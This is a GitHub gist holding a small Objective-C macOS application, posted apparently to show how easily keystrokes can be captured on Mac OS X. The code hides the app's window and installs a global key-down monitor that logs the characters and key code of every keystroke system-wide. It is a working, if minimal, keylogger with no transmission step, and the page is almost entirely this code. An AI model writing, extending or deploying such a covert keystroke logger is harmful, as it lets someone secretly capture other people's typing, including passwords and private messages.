Last active
December 16, 2015 06:29
-
-
Save ifesdjeen/5391650 to your computer and use it in GitHub Desktop.
How secure is your operating system? On Mac Os X all your keystrokes can be logged with a utility written by Objective C first-timer without any concerns.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#import <Cocoa/Cocoa.h> | |
static id monitorKeyDown; | |
@interface AppDelegate : NSObject <NSApplicationDelegate> | |
@property (assign) IBOutlet NSWindow *window; | |
@end |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#import "AppDelegate.h" | |
@implementation AppDelegate | |
- (void)applicationDidFinishLaunching:(NSNotification *)aNotification | |
{ | |
[self.window setIsVisible:NO]; | |
monitorKeyDown = [NSEvent addGlobalMonitorForEventsMatchingMask:NSKeyDownMask handler:^(NSEvent *event) { | |
NSLog([NSString stringWithFormat:@"Key down: %@ (key code %d)", [event characters], [event keyCode]]); | |
}]; | |
} | |
@end |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#import <Cocoa/Cocoa.h> | |
int main(int argc, char *argv[]) | |
{ | |
return NSApplicationMain(argc, (const char **)argv); | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment